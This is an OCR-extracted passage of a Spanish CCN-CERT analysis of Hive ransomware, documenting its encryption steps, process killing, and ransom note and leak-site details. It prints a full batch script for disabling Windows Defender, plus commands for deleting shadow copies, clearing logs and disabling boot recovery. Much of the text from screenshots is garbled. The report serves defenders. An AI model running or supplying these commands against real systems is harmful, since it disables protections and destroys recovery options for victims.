0:80:47 +novify o:\\Test\\MyEY HOW TO_DECRYPT.twt\ndyAyTZPHbIRCAXnI KX _key. f2yge\nReadms.twt.=4KESHPvvQmOHGReG- yLVYML3yAyTEPhblRCAXnI KX Szl sFnpu0.faygz"
-40:51 Removing itseli\nMyEY HOW_TC_DECRYPT.txt\n3yAyTEPRLIRCLXhI KX .key.faygl\nRezdme.txt.e4KESWDvvQmOECQeQ-y1VIMI3yAyTEPRLIRC4XRT KX Zaal sFapull.layg2"”
0:20:54 Erasing memory\n\nMyZ¥ HOW TO_DECRYPT.txt\n3yAyTEPRbIRC&XhJ KX__key. faygZ\nReacme.txt. edKBSHPvvQmOHGQeG- y1VYMI3yAYTEPhb1RCAXRI KX 9aal_sFnpus0.faygl"

00778 [+] WriteFile:
[+] WriteFile:

nn77Rl

Figura 10. Fases proceso de cifrado (Ejemplo: c:\Test)

iptologico Nacional USO OFICIAL




USO OFICIAL CN i cm

CCN-CERT ID-XX/21 Caddigo Dafiino HIVE Ransomware centro ariptolégico nadonal

En la fase denominada como “exporting key” se creard una clave de 0x100000
bytes que participara en el proceso de cifrado de los ficheros. Esta clave sera cifrada
por medio de diversas claves RSA embebidas en el binario y, posteriormente, sera
guardada en disco con la extension .key.fayg2. Esta clave serd necesaria para la
recuperaciéon de los ficheros afectados por medio del software de descifrado que la
victima tendra que comprar al grupo criminal.

Tras exportar la key el cédigo danino comenzard a finalizar un conjunto de
procesos y servicios (véase Anexo A) que puedan interferir con el proceso de infeccién
y de recuperacién de los ficheros. La funcién encargada de buscar y finalizar procesos
hard uso de las habituales APl CreateToolhelp32Snapshot, Process32First junto a
TerminateProcess (para aquellos cuyo nombre coincida con el listado de procesos
embebido en el binario). En el caso de los servicios, éstos seran finalizados por medio
del binario net.exe (“net stop <nombre_servicio>").

73 vll = runtime_convTstring(ve, v7, v3, via);
74 *&2yE3 = &stru_5308E0;
75 | *(&vE3 + 1) = vil;

76 log_Println(1i64);

77 | Toolhelp32snapshot = golang_org_x_sys_windows_CreateToolhelp32Snapshot(v13, v12, w14, v15);
73 ws7[@] = BglfecMR__ptr_DHg6niZq_kKillProcesses_ ;

79 | w57[1] = Toolhelp32Snapshot;

88| w66 = V573

81 w53 = Bi64;

52 (loc_454365)();

83 LODWORD(vSE3) = 568;

84 | if ( !golang org_x sys_windows_Process32First(v17, v16, w18, v19) )

85| {

86 do

87

a8 vEl@ = golang_org x_sys windows_UTF16ToString(26@i64, 2

89 if ( regexp__ptr_Regexp_doExecute(®, v67, @, vel, w45, v » w49, v58, w51, v52, w53} )

98

91 VI8 = w593

9z if ( BglfecMR__ptr_DHgéniZg| KillProcess()|)

a3 !

94 vG2 = (Rgword 56C648[3287)();

95 V6 = v28;

96 VB3 = vb;
0 481 83EC 68 “Tsub rsp,68 - “CreateProcessw T
™ 48: BB8424 B3000000 mav rax,gwar‘d ptr‘[ss:[rsﬁwaa] _ . =
. 48:C74424 58 0000000( mov qword ptr ss:[frsp+58],0 [rsp+58] :&"eHc\Fas(" P o
. 481894424 50 mov guord ptr ss:frsp-50],rax O o (6 206 B HPAPHS "
. 4B8:8B8424 BO000000 |mov rax,gword ptr ss:[rspta0] [J| REx  20000000006AS340 & HfihH, S,
. 48:894424 48 mov gqword ptr ss:[[rspr4cl,rax L2t CERSSTILEssTITEs " - o
. 48: BB8424 AS000000 |mov rax,gword ptr ss:[Prspras] RDX  000000CO0000A3CO L"net.exe stop \"samss\" /vy’
. 48:894424 40 mov gword ptr ss:[ rsp+40],rax RBP 000000C 000580698 &M
. 48: 883424 A0000000 |mov rax,qword ptr ss:[rsptaod [rSp+AD] : "eH<\F5%(" RSP 00ODDO0DOOOZZFELS "UE"
. 48: 894424 38 mov qword ptr ss:[frspi3sl,rax B e RST 000000000022FE20

Figura 11. Finalizacion de procesos / servicios

Posteriormente, se deshabilitard Windows Defender haciendo cambios en
determinadas entradas de registro por medio del binario reg.exe y deshabilitando las
tareas programadas correspondientes via schtasks.exe. Las instrucciones coinciden con
ciertos scripts en batch disponibles en repositorios publicos [12] y que son
comunmente reutilizados por los atacantes para deshabilitar Windows Defender.

Centro Criptolégico Nacional USO OFICIAL




USO OFICIAL CN i cm

Caddigo Dafiino HIVE Ransomware centro criptolégico nacional

disable_windows_defender.bat Raw

rem USE AT OWN RISK AS IS WITHOUT WARRANTY OF ANY KIMWD !!111

rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference

rem To also disable Windows Defender Security Center include this

rem reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService” /v "Start™ /t REG_DWORD /d "4" /f
1 - Disable Real-time protection

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender” /f

reg add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microseft\Windows Defender” /v "DisableAntiVirus™ /t REG_DWORD /fd "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DUWORD /d "@" /f

[T NI T B TR TR
=5
o
E

1@ reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /t REG_DWORD /d "1" /f
11 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableIDAVProtection” /t REG_DWORD /d "1" /f

1z reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /t REG_DWORD /d "1" /f
13 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /t REG_DWORD /d "1" /f
14  reg add "HKLM\Software\Policies\Microsoft\Windows Defender‘\Real-Time Protection” /v "DisableScanOnRealtimeEnable™ /t REG_DWORD /d "1" /f
15 reg add "HKLM\Software\Policies\Microsoft\Windows Defender‘\Reporting” /v "DisableEnhancedNotifications” /t REG_DWORD /d "1" /f

1ls reg add "HKLM\Software\Policies\Microsoft\Windows Defender’\SpyNet" /v "DisableBlockAtFirstSeen™ /t REG_DWORD /d "1" /f

17 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet™ /v "SpynetReporting” /t REG_DWORD /d "e" /f

15 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet™ /v "SubmitSamplesConsent™ /t REG_DWORD /d "@" /f

19 rem © - Disable Logging

28 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologgeri\DefenderApilogger” /v "Start" /t REG_DWORD /d "@" /f

21 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\Defenderduditlogger” /v "Start” /t REG_DWORD /d "e" /f

22 rem Disable WD Tasks

23 schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDH policy Refresh" /Disable

24 schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance™ /Disable

25  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

26  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan™ /Disable

27  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

28  rem Disable WD systray icon

29 reg delete "HKLM\Software\Microsoft\lindows\CurrentVersion\Explerer\StartupApproved\Run" /v "Windows Defender” /f

38 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender” /f

31  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender” /f

32 rem Remove WD context menu

33 reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

34 reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

35 reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /T

36 rem Disable WD services

37 reg add "HKLM\System\CurrentControlSeti\Services\WdBoot™ /v "Start" /t REG_DWORD /d "4" /T

38  reg add "HKLM\System\CurrentControlSet\Services\WdFilter” /v "Start” /t REG_DWORD /d "4&" /f

39 reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

48 reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start” /t REG_DWORD /d "a" /f

41 reg add "HKLM\System\CurrentControlSet\Services\WinDefend” /v "Start™ /t REG_DWORD /d "4" /f

42 reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService™ /v "Start" /t REG_DWORD /d "4" /f

Cure entControlset
Curr encControlSet

Program F1les\\Windows Defender\\MpCadRun. exe\” ~RemoveDerinTTions ~AT1™

- /% REG DwoRD /8 \"1\* /f7
(313" FTschcasks. exe /change /TN \M1CrosorT\\windows\\EX0101TGsar 0\ \EXD10TEGuMr & WO £OTICY Refresm\™ /Disasle”
reg.exe add \"MKLK\\5orTware'

Co s

re9. exe -
e Sl A

Figura 12. Deshabilitar Windows Defender

Tras los cambios anteriores, eliminara las shadow copies (via wmic.exe vy
vssadmin.exe), modificard determinadas politicas del almacén BCD (Boot Configuration
Data) para evitar que el sistema arranque en modo de recuperacién y para que ignore
todos los errores de arranque y eliminara los logs del sistema (via wevtutil.exe). Por
ultimo, hara uso del binario MpCmdRun.exe (Microsoft Malware Protection Command)
para restaurar el conjunto de firmas de un backup previo o del conjunto
predeterminado original (opciones -RemoveDefinitions -All) y deshabilitard el scan de
ficheros descargados, asi como la proteccion a tiempo real por medio del cmdlet Set-
MpPreference.
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Command Ling Int... C:\Windows'syst... Microsoft Corporat... vasadmin.exe delete shadows /all /quiet
Eventing Comman... C:\Windows'syst... Microsoft Corporat .. weviutil.exe cf system
Eventing Comman... C:\Windows'ayst... Microsoft Corporat... weviutil.exe cf security
Eventing Comman... C:\Windows'syst... Microsoft Corporat... weviutil.exe cf application
WMI Commandiin... C:\Windows"Syst Microsoft Corporat ... wmic exe SHADOWCOPY /nointeractive
WMI Commandiin... C:\Windows"Syst Microsoft Corporat ... wmic exe shadowcopy delete
Boot Corfiguration... C:\Windows'syst. Microsoft Corporat... bodedt exe Jset {default} bootstatuspolicy ignorealifailures
Boot Corfiguration... C:\Windows'ayst... Microsoft Corporat... bededtt.exe Jset {default} recovenyenabled no
Windows Comma... C:\Windows'syst... Microsoft Corporat... cmd exe /c "C:\Program Files"Windows Defender\MpCmdRun exe" -RemoveDefinitions -All
Microsoft Malware... C:\Program Files®.. Microsoft Corporat... "C:\Program Files"Windows Defender\MpCmdRun exe” -Remove Defintions -All
[ 4 omd exe (2780) Windows Comma... CA\Windows'syst... Microsoft Corporat... cmd exe /c powershell Set-MpPreference -Disable |0 AVProtection Strue
4 powershell.exe (1504) Windows PowerS... C:\Windows'\Syst... Microsoft Corporat... powershell Set-MpPreference -Disablel0AVProtection Strus
= 8 omd exe (4028) Windows Comma... C:AWindows'syst... Microsoft Corporat... cmd exe /c powershell Set-MpPreference -DisableReatimeMonitoring Strue
## powershell.exe (1652) Windows PowerS... C:\Windows"Syst... Microsoft Corporat... powershell Set-MpPreference -DisableRealtimeMonitoring Strue
“|notepad exs (2500) Notepad C\Windows'syst... [l Microsoft Corporat.... notepad.exe C:\MyEY_HOW_TO_DECRYPT bd

Figura 13. Deshabilitar Shadow Copies / Microsoft Malware Protection

Una vez deshabilitados los servicios anteriores, el ransomware comenzara con el
proceso de cifrado. Para recorrer el sistema de ficheros se apoyard en la funcién
WalkDir (/fs/walk.go).
invocada por cada fichero, a modo de callback. Desde esta funcién se comprobara si el

Esta APl acepta, como pardmetro, una funcién que serd
fichero es candidato a ser cifrado por
(Regexp.doExecute), a modo de filtro, el cual incluye un listado de extensiones vy
nombres de ficheros y directorios. Si

medio de wuna expresion regular

el fichero no hace match con dicha regex el
archivo serd cifrado.

00000000005 4447C 30 nop a

000000000054447D 44:0F113C24 movups xmmword ptr ss:[frspl,xmmis

0000000000544482 44:10F117C24 10 movups xmmword ptr ss:[rsp+i10J,xmmis

00000000005 44488 31DB xor ebx,ebx RAX  BonntHEnUNS AR &

00000000005 44484 z1Cc9 Xor ecx,ecx REX  0000000000000000

00000000005 4448C 48: 89CF mov rdi,rex RCX  0000000000000000

00000000005 4448F 21F6 xor esi,esi RDX  000000CO000ICEAD

00000000005 44491 43: 83F0 mov r8,rsi REP  0000D0OCOOOOF3D38

0000000000544494 4C:8B8C24 98000000 mov r9,qword ptr ss:[frsp+9s] [rsp+98]: "c:\\Test\\profile.ipg RSP 000000C0000F3D10

00000000005 4449C 4C:8B9424 A0000000 mov ri0,qword ptr ss:[[rsp+ao] RSI 0000000000000000

0000000000544414 49: 89F3 mov ril,rsi RDI  0000000000000000

005 Al E8 S5496F7FF €all <cor.regexp__ptr_Regexp_doExecute>

00000000005444-& 43: 85C0 test rax,rax rax:&" (?1:C:\\\\Windows |\, (7:3

00000000005444AF | +-OF85 98000000 jnelcor. 544540 Qg ggggggg’gggggggsg ]

DDDDDDDDDD5444E5 48:8B8C24 AB000000 mov rcx,qword ptr ss:[rsprAs]) R10 0000000000000013

00000000005 444ED 4818849 28 mov rcx,qword ptr ds: [rex+28] R1D

00000000005 444C1 48: 828424 BOODDO0D |mov rax,qword pt

00000000005 444C3 FFD1 €&l rcx

00000000005 444CE 48:894424 78 mov qword ptr ss 4.y Dump1 =5 E=R[

00000000005 44400 481899C24 80000000 |mov qword ptr ssq [address ASCIT

STEIEbTET R D LIBET 20 (65 mov rex,qword P '550000C0000A1080 | (711 C: Y\ \Windows | \. [7:386|adv|ani [bat|bin|cab|cmd]com|cpl|cur [des

Lefiiiadien e e RS EpTH mowv rdx,qword ptil | 5ono0nCo000A10CO | kthemepack |diagcab|diagcTg|diagpkg|d1|drv|exe|hip|hrmlog|htalic

00000000005 444EL 48:3959 20 cmp gword ptr d=3 | ponooCo000A1100 'I\icns|1‘cn\1‘cs|1‘dx|1‘m‘|key\1nk|1nck|1ng|mnd|mpa\mp3|m5c|ms1 |msp |

e £ 7 RO jne cor.5444F6 000000C0000A1140 | msstyles |msu|nls|nomedialoex |prf |ps1|rnm\rtp|scr|shs\sp |sys | the

] oSS0 mov rox, rix 000000C0000A1180 | me| themepack [url |wpx)$ | (?: autorun\. inf |bootfont\. bin|bootl.ini|b

00000000005 444EA 48:8903 mov_rbx, rdx | | ooooooco000A11CO | ootsecty. bak|desktop',.ini|iconcachey. db|ntldr |ntusery.dat|ntuser

00000000005 444ED E8 2EE3EBFF a1l <cor. runtim 000000C0O000A1200 | . dat,. Tog | ntuser',.ini | thumbsy.db) $ [\ (\$recycley. bin|" $windows®,

00000000005 444F2 g4aco test al,al D00000CO000A1240 | . ~BT |\ $windows',.~ws |A11 users|appdata|application data|boot|goog

0 i 75 43 jne cori54453s 000D00C0000A1280 | 1e|intel |Microsoft|mozil1a|Mozi11a|Msbuild|msocache|partliogs |sys

00000000005444F8 48: 888C24 38000000 |mov rox,qword Pty | npoppoco000A12C0 | tem volume information|tor browser [wi nduws\wmduws nt |windows.o

00000000005 444FE 481 894C24 78 mov gword ptr 553 | 900000C0000A1200 'Id)\\\;\5\\w1nduws\\|\\ADMIN\SI\\IF’C\S)IC'-’ 233

00000000005 44503 4818BEC24 AODDODOD |mov rox,qword PT | ooa000Co000A1240 | y. 5| Ea. caa0sA. A, €0 21a1n1h, 7_ 4 0
¢ [ 00000000005 44508 48:898C24 80000000 |mov gword ptr ss3|pppooOCO000ALZE0 1(0}#3.10 .€BiR.~ .OZdbuoﬂo1&hD7 &..U. 1A8zvE AGhT xo! i.,.08
*] 99900000005 44512 48:8B4c24 7O mov rex,award PL | poaoooCoo00A1IC | KIOA. k. .2 Albb.RY&b. . 0. E+avmER-0I5. 3. T1% hD.L.T. .03~ fyTCed

Figura 14.

Filtrado de ficheros (regex)

El proceso anterior se repetird hasta finalizar el cifrado de ficheros en todo el

equipo (o en el directorio pasado como argumento al binario). Obsérvese en la regex

de la imagen anterior que tanto el directorio c:\Windows, asi como otro tipo de

ficheros, seran excluidos del proceso de cifrado.

C:\Program

C:\Windows\System32\en-USKernelBase. dll.mui
Program Files\bytehisticense. tet. TWFiYva:

W i flter himl. TWFrva
C:\Program Hes\wi'ed'lakhka TWWFjYva47pXZTNotcnRUz2d 194 10mTFy 1w87w\WaDye __G54p_hAUgow0. fayg2

20 19410mTFv IwB 7w aDye,

C:VProgram Files\Wiresharkluser guide. chm, TWFjYva47pX

_ T 2B00qNcD. fayg2

8Dye__ShXsDOG3qDwO. faya2

fayg2

Pn\EDye_ o

C:\Program Files\Wireshark\ws. css. TWFjYva47pX2TNotenR Uz2d 19410mTFv IwB7w\WaDye_Jem IK4vEOAWD. fayg2
C:\Program Files\Wireshark\translations\gt_ru.gm. TWFjYva47pX2TNotnRUz2d 194 10mTFv 1w 7wWaDye __vvHTNUke 1tE0. fayg2

C:t\Program Files \Wireshark wireshark,html TWFjYva47pX ZTNotenRUz2d 19410mTFy 1w8 7wWEDye__FNGmwG_NLCEO. fayg2

C:\Program F

W i . TV 47D

iptolégico Nacional

10mTFy 1w87w\WaDye_k-SKGeVughMD. fayg2

Flguru 15. Cifrado de los ficheros
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Por ultimo, el ransomware sobrescribira la clave de cifrado en memoria (con
OxFF), eliminara el binario de disco y limpiara parte de la memoria para eliminar todo
tipo de evidencias.

sy KU1 UUULULLUUULUUUUS aners
jmp’cor. 4D9E8Y

byte ptr ds:[rditrex],FF Erase Key

: | "e 9990000000030 R

= R®  000D0O0000000DZ0 2o
R10  00DDOD0D000DD032 "2t

o :;’: ;.".255‘,,,, dB (i) R11  DDODODODOO030000

mov rdi.gword ptr ds:[rax] rdizKeY, [raxl:KEY R1Z  0000000D00000000

amp rex,rsi R1Z  0000DODODOD0DID ‘o'

Jocor.dDsEsz e e

Imp cor. 4D9FE6 Default (x64 fasteall)

mov rdx,qword ptr ds: [rax+20]
xor ecx;ecx

T rcx 0000000000100000
rdx_0000000000100000

: rg 0000000000000030
: rs 0000000000000020
: [rsp+28] 0000DD0D005409D9 COF.0000!

W

. Text:00000000004D9ESD cor . exe: $DIESD #D9480 <dMIVSKEP__pTr_GVET1Zbz_Erase+20>

@4 pump 2 | ¥4y Dump 3 | §4oump4 | @%Dumps | & watch 1 | l== Locals. | & stct ‘ 4 Dump 1

Address Hex. ASC! -
000000C000100000 R FF FF FF|FF FF FF FF|FF FF FF FF|FF FF FF FF|§
000000C000100010| FF FF FF FF|FE FE EF FE|EF FF FF FF|FF FE FE FF
000000C000100020| FF FF FF FF|FE FE EF FE|EF FF FF FF|FF FF FE EF
000000C000100030| FF FF FF FF|FE FE EF FE|EF FF FF FF|FF FE FE EF
000000C000100040 | FF FF FF FF|FE FE EF FE|EF FF FF FF|FF FF FE EF
000000C000100050| FE FF EF FF|FE FE EF FE|EF FE FF FF|FF FE FE EF
000000C000100060 (FF FF FF FE|FF FF FF FF|FF FF FF FF|FF FF FF FF
000000C000100070 |FF FF FF FF|FF FF FF FF|FF FF FF FF|FF FF FF FF

“Erasing key\n"

000000C000533E18 [E0D00D00CD00589E5 0| &" pyx™

000D00C0005 89E 20 [ED0DDDOD000S 40909 return o cor. BaLfectR__ptr_
000000C00058! E000000C000589E40
000000C00058! E0000000000000008
000000C00058: E000000C0047D5570
D00000CO005 39E40 E00000000005 808ED | cor. DODODODODOEBDBED
D00000CO005 29E43 E000000C000034730 | &™ Eras1ng key’
APANANCANNE 23F 2N [EANANACNNNE RAFAR &

. | -
F11,rs0 CreateprocessInterns B

push rox TOXt& MY TP &7a0x

push

push ra

push r

push r13

push r14 20078180 L"cnd.exe /D /C ping.exe -n 5 127.0.0.1 &4 del \"C:\\Users\\Neo\\Desktop\\5223954758402048\\cor . exe\™"

00000000
08000200

r5p,490
mov rax.aword otr ds:(777083001 |0

Figura 16. Elimina clave en memoria / Elimina binario de disco

Durante el proceso de cifrado, en cada directorio afectado, el ransomware dejara
(MyEY_HOW _TO_DECRYPT.txt)
correspondientes para la recuperacién de los mismos.

archivo de texto las instrucciones

un

con

000000C000051DCO UTF-8
000000C000051E00
s oo e Your network has been breached and al data were encrypted.
000000C000051ECO Personal data, finandial reports and important documents are ready to disdose.
000000C000051F00 | . .
000000C000051F40 | . . T event exfil disdosed
83833&33332 ::gg e o deavpx all the data and m prevente: 3)(:;:::;'::;::3@2’&"?““/
000000C000052000 | Your network has been breached and all data were encrypted. YWW"‘*" ‘““"*‘“’W"WW”‘ software.
000000C000052040 | sonal data, f'lnancul reports_and 1-po tant do:s-em.'s are
000000€000052080 | to disclose.....To decrypt all the data and to prev Please contact our sales department at:
000000C0000520C0 | ed files to be dis:'losed at . .Nttp. //Mve'leakdbtnpnulymszeugsc
000000C000052100 onion/..you will need to purcmse http:/hi hekzth & h 3 720q300qd.onion/
000000C000052140 our decrypt ..... Please contact our sa’ls depar
000000C 000052180 http'//hivecustsvhekztbqqdnkk E4UCH dijsgyrrpdps
000000C0000521C0 Logn: R
000000C 000052200 'r oet an ucm o -onion websit Password:
000000C00005 2240 | down nsta Tor Browser at: https: «m.torpro ject.
ggggoocomggggg org‘efr 3 M j|s ?ot re'latsdtt 2 10 R Pot the guidelin To get an access to .onion websites download and install Tor Browser at:
ow o-vo 05 ur data:.... 0 no’ rename 3

000000C000052300 | OF delete =.key. . "?1{2 Your data will be . nndecryp Wtipe: /s torprojectorg/ (For Bvowses s not relnted o ¢a)
000000C000052340| &... - Do not modi rename encrypted files. You will lose th
000000C000052380 e-. .. = Do not report to the Po'H:e, FBI, etc. don't care a
000000C0000523C0 {ou business. . simply won' T allow to pay. As Follow the guidelines below to avoid losing your data:
goosoocaonosaos| Fesal you wit] lofe everylniog”. "o mx Wire’s 150 don: < o

pany. can't decryp 3 also i 3 =
000000C000052480 | are about your business. They believe good Do not mocky, renome or delete:Aey. fayg2 fles. Your dat w be
000000C0000524C0 | gotiators, but it is not. usuall faﬂ. “for ypEDe:
000000C000052500 | 1f... - DO NOt reject to purchase. SiErared rites wittibe - Do not modify or rename encrypted files. You wil lose them.
000000C000052540 | IECHSEREIRSEREMERT . - - < - - <« « - ccooccconsnassccancssnscaassccssnnasnns - Do not report to the Police, FBI, etc. They don't care about your business.
000000C000052580 . . . They simply won't allow you to pay. As a result you will lose everything.
000000C0000525C0 - Do not hire a recovery company. They can't decrypt without the key.
e onnosone They also don't care about your business. They believe that they are
000000C 00005 2680 good negotiators, but it is not. They usually fail. So speak for yourseif.
000000C0000526C0 | . . - Do not reject to purchase. Exfiltrated files will be publidy disdosed
000000€000052700| . .
000000C000052740

En

Figura 17. Contenido fichero MyEY_HOW_TO_DECRYPT.txt

dichas

instrucciones se

indica,

un lado, la URL dentro del

direccionamiento .onion donde se filtrara la informacién si no se efectua el pago del
software de descifrado:

http://hiveleakdbtnp76ulyhi52eag6bc6tyc3xw7ez7iqy6wc34gd2nekazyd.onion

Nota: a fecha de la realizacién del informe, dicho portal consta de un total de 53

companias. El primer afectado por Hive es del 23 junio de 2021 y el ultimo el 3 de

diciembre de 2021. Un total de 20 compafiias cuyo pago ha vencido tienen

actualmente expuestos sus ficheros por medio de enlaces de descarga desde servicios

como send.exploit.in, ufile.io, sendspace.com, anonfiles.com y mega.nz.
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H Hi X + — a
C @O \p76L TezTiq nekazyd.onion w3 O W

Encrypted at

ransport S onaweraon
Marten Transport, Ltd. operates as a temperature-sensi 1 O . 00.3 0
tive truckload carrier for shippers in the United States, . .
‘Canada, and Mexico. It operates through four segment

< Truckload, Dedicated, Intermodal, and Brokerage. Th
e Truckload segment transports food and other consu

Share

mer packaged goods that require a temperature-contr

NASDAQ: MRTN

olled or insulated environment.

*** Exfiltrated files ***
T14Gb downloaded total

Website Revenue
www.marten.com $1292M

Disclesed at
Employees

4087 = 8 November 2021 - 15:31:30

Disclosed Links ~

Little part of all exfiltrated files

https://send.exploit.in/download,

Listing of all exfiltrated files

https://send.exploit.in/download|

Figura 18. Portal Hive: leak informacién

Por otro lado, el fichero de texto también especificard las credenciales necesarias
para autenticarse al portal desde el cual se negociard el pago del software de
descifrado (por medio de un Live Chat):

http://hivecustévhekztbggdnkks64ucehqacge3dij3gyrrpdp57zoq300qd.onion

Live Chat

Saies dept.
27 November

Hello and welcome to Hive
How may | help you?

Decryption Software
Authorization

Login

B

Password

Contact our sales department first via

m Live chat to get an offer please.

Mype your message
Uploaded Files

Figura 19. Portal Hive: Live Chat
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5. CIFRADO

El binario generara una key de 0x100000 bytes que participara en el proceso de
cifrado de los ficheros. Esta key serd cifrada por medio de diversas claves RSA
embebidas en el binario y, posteriormente, sera guardada en disco. Para cifrar la
misma, en primer lugar, se invocara la funcion ParsePKCS1PublicKey (incluida en la
libreria pkcs1.go) para parsear cada una de las claves publicas.

000000 mov rdx,qword ptr d

\
. 5] A ;
o [ 00000000005 030 mov rs,qword pTr ds:[rsi:s] iideskol
» | 00000000005 mov rs,qword ptr ds:[rsi+10]
» | 00000000005 mov rax,rdx BAX _000000C000098000) .
o [ 0ooooaooo0s mov rbx;rs L'g
» | conooooooos oV rox BCX  0OD0DDD0DD00010E LB
RIPEE TR Srbr . ParsePkCS1PUBTicKeys: BDX  000000C000098000 R
00000000005 mov rox,quord ptr ss:[Ersprsol REP  DODODOCO00SEDDOS & ox
00000000005 lea rsi,quord exi1] RSP  00DOODCODOSEDCSD aix"
00000000005 mov rdi,qword ptr ss:[frsp+ad [ k5T cor. 0000
00000000005 emp rdi,rsi RDI  DODODODODODO0D0D
00000000005 3b cor.503DF7
00000000005 mov rdx,quord Tirsp+esl O] i
00000000005
00000000005 <s:[rspteoll, rax - [Defaut (x54 fastcal)
; o Ty e 5
o5 000000C
<Cor.ParsePRCS1PUDTT CREY> 51 Ts 0000000000000108
43 r3 00DODODDODODOLOE
S: frsne2nl DsnACnn "eex”
. TEXT: 00000000005030D8 COr. exe: $103008 #1033D8 <5Ub_503040+98> <[ i

[F000000C!
'3 [E000000C00000F9AD|

% watch 1 | vl Locals | 9 stk 4Woump 1 |

E “16:42136 Exporting key\n"
] 9200000005 sDCA0 E000000C000046080) &7 16: 42136 ExporTing key\n'
|address _______| b AIH 000000C0005 8DCAS €or . 0000
D000DOCODDD9E00D 01]00 AC DE 8A[C# 47 6E 26(D........ AGna 000000C000S aDCED 00| cor . 00001
000000C000098010 24|50 70 55 65|CB 11 58 £ &E$F‘DUEE_[Q 000000C0005 8DC 58 [EOD0DDOCOD0DSF3ED| & write Value, not Sens2s
D000DOC000098020 15|CF 65 10 34[FE B2 52 b_ v Tk, apR, 000000C00058DCCO cor.00000
D000DOC0O0DD98030D 43|68 FA CC 7al48 28 19 Iumr1§uckuIzH( H 000000C 0005 SDCCS £000DO0CO00046050
D000DOC0O0DD9804D BB|AB F1 03 63 (A8 1F CF H 000000C0005 8DC00 | 0000000000000
D000DOCO0DD9805D E£3|AF CF 88 AaleD 81 29 aptE s D0DODOC000S SDCDS | 0000G00000000000
D000DOCO0DD980ED 17|37 EO Bl 63(AA B2 76 hi-. . 7azcasvy 000000C 0002 ADCE0 | 000D0D0DABO0000D
D000DOC0O0D098070 FD|71 €C 51 41[cD BE 58 A DagIoatie. D0DODOC000S SDCES | 000D00000000001 4
D000DOC0O0DD9808D. 52|Fa Bz 71 z8/ee 42 EB 53 |DiliLcER(-g(noes D0DODOC000S SDCFD | 0000G0000000000L.
000000C000098030 ms) € &F [FD)|E8 G EE 000000C00058DCFS | 0000000000000000
D000DOCO0DD9E0AD AF|A5 60 EB 68|6E 47 3B [} ooooooco00s sopoo cor.00000
B SRR e s e
AsY 000000C0005 80010 | 00000000005 408D6 | return To cor.sub_S40860+7¢
000000CO DD |28 3E A3 90|24 D8 77 Eis, U“V(” $owo 000000C0005 SD0 18 | 00000DCO0058DE0D
00D0DOCO00DSB0ED 4390 AA 1A 44(EA 0D 1D -A. EnEYAS 000000C0005 20520 | 00000D000000000D
D000DOCO0DD9E0FD C2|8D 3E G6F AF|21 38 A DO00D0C 0008 & 0000000000000002
D000DOC0O0DD9810D 05 D8 0z 03 01|00 01 0O Annnoneann AnARARCAnAnT 3 AgE | T et

Figura 20. ParsePKCS1PublicKey

Posteriormente, comenzara el cifrado de la key por medio de la APl EncryptOAEP
(incluida en la libreria rsa.go).

® [ LULLULLULLAUA, ruvscza MOV QWOraQ PIr SS5:ErSpt/ug,ral
o || 0000000000404 3: 880D 68CF1CO0 mov r;)_(,qwurg ptr gs:{mnzo% "¢, X", 0000000C "
#|( 00000000004DA; 18B3D BLCF1CO0 mov rdi,qword ptr ds:[6A71EB. DDDDDDDDDDG’\ 1E8 Ryt
e[ 0oooo0o0004DA: 10F113C24 movups xmmword ptr ss:frspl,xmmis 33 CTETEIRLEIEIREERL Ax
® | 000000000040, 8:C74424 10 0000000( mov qword ptr 55 Ersp+1od,0 LY TIETEIEvETINERED P
. 29c2 sub Fax: "ATX" BECX  00000000005D6B40 e, X!
. 8902 mov BRX FFFFFFFFFFFFFFFF
+ | 550000000015250 1F7DA neg REP  00000OCO00591D08
o || 00000000004DA233 1CIFA 3F sar RSP 000000CO00591C10
# || 0o000000004DA2S 12100 and RSI  000000CO00035240 <pub_key.
# (| 00000000004DA29A lea . RDI  00000000006FCETO cor. oooooooooos#cs?o
®|[ 00000000004DA2E 8005 73F0OF0O0 lea E & ' 1 » 0000000C
# | 00000000004DAZAS 8:883C24 AODODODO  [mov rbx,qword ptr ss:ffrsp+ac HASH
o || 00000000004D424D : 888424 98000000 mow csi quard prr corfrepion] rsi:pub_key 1, [rsp g s e
FGF—e 4BSDFFFF |l ea11 <cor. (ryp[o rsa_En:ryp(mEP>| D T T T e
o[ 00000000004DA2BA :898C24 BBOOOO00 MOV QWOTT PT TR E 810
o || 0o000000OD4DAZC2 1898424 COO00000 |mov qword p:r =3:frsprcolrsi rsi:pub_key_1 EDODGRIDIIONON1S
